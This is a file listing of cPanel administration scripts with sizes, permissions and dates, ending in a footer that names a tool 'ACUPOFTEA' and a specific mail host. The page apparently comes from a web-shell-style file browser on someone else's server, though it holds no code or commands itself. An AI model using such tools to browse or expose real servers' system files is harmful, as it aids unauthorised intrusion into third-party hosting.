text/x-perl
3.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
transfer_in_progress.pod
text/plain
312 B
-rw-r--r--
2024-03-04 05:44:29
transfermysqlusers
9.84 MB
-rwx------
2025-10-16 10:57:32
try-later
text/x-perl
7.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
unblockip
text/x-perl
667 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_cpanel_analytics
text/x-perl
1.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_dovecot_fts
text/x-perl
562 B
-rwxr-xr-x
2024-03-04 05:44:29
uninstall_plugin
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
unlink_service_account
text/x-perl
2.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
unpkgacct
text/x-perl
4.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
unslavenamedconf
text/x-perl
863 B
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendacct
text/x-perl
17.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
unsuspendmysqlusers
text/x-perl
7.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp
text/x-perl
31.97 KB
-rwxr-xr-x
2024-11-19 10:57:19
upcp-running
text/x-perl
2.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
upcp.static
text/x-perl
721.63 KB
-rwxr-xr-x
2025-10-16 10:57:47
update-packages
text/x-perl
5.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_apachectl
text/x-perl
480 B
-rwxr-xr-x
2024-03-04 05:44:29
update_db_cache
text/x-perl
430 B
-rwxr-xr-x
2024-03-04 05:44:29
update_dkim_keys
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_exim_rejects
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_existing_mail_quotas_for_account
text/x-perl
4.78 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_feature_flags
text/x-perl
957 B
-rwxr-xr-x
2024-03-04 05:44:29
update_freebusy_data
text/x-perl
5.25 KB
-rwxr-xr-x
2025-06-09 10:57:17
update_known_proxy_ips
text/x-perl
1002 B
-rwxr-xr-x
2024-03-04 05:44:29
update_local_rpm_versions
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mailman_cache
text/x-perl
8.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_mysql_systemd_config
text/x-perl
1.07 KB
-rwxr-xr-x
2025-06-09 10:57:31
update_neighbor_netblocks
text/x-perl
487 B
-rwxr-xr-x
2024-03-04 05:44:29
update_sa_config
text/x-perl
2.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_spamassassin_config
text/x-perl
10.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
update_users_jail
text/x-perl
691 B
-rwxr-xr-x
2024-03-04 05:44:29
update_users_vhosts
text/x-perl
801 B
-rwxr-xr-x
2024-03-04 05:44:29
updatedomainips
text/x-perl
605 B
-rwxr-xr-x
2024-03-04 05:44:29
updatenameserverips
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow
text/x-perl
5.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatenow.static
text/x-perl
2.02 MB
-rwxr-xr-x
2025-10-16 10:57:32
updatesigningkey
text/x-perl
1.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatessldomains
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
updatesupportauthorizations
text/x-perl
2.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdatacache
text/x-perl
2.47 KB
-rwxr-xr-x
2024-03-04 05:44:29
updateuserdomains
text/x-perl
774 B
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_bandwidth_dbs
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
upgrade_subaccount_databases
text/x-perl
2.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdata_wildcard_cleanup
text/x-perl
5.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
userdirctl
text/x-perl
5.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
validate_sshkey_passphrase
text/x-perl
1.21 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_api_spec_files
text/x-perl
757 B
-rwxr-xr-x
2024-03-04 05:44:29
verify_pidfile
text/x-perl
1.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
verify_vhost_includes
text/x-perl
7.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
vps_optimizer
text/x-perl
7.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
vzzo-fixer
text/x-perl
725 B
-rwxr-xr-x
2024-03-04 05:44:29
whmlogin
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
whoowns
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
wwwacct
27.78 MB
-rwx------
2025-10-16 10:57:28
wwwacct2
text/x-perl
88 B
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_schema_migrate.pl
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfer_rcube_uid_resolver.pl
text/x-perl
1.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
xferpoint
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
xfertool
text/x-perl
16.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
zoneexists
text/x-perl
800 B
-rwxr-xr-x
2024-03-04 05:44:29
~ ACUPOFTEA - mail.ontime-ae.com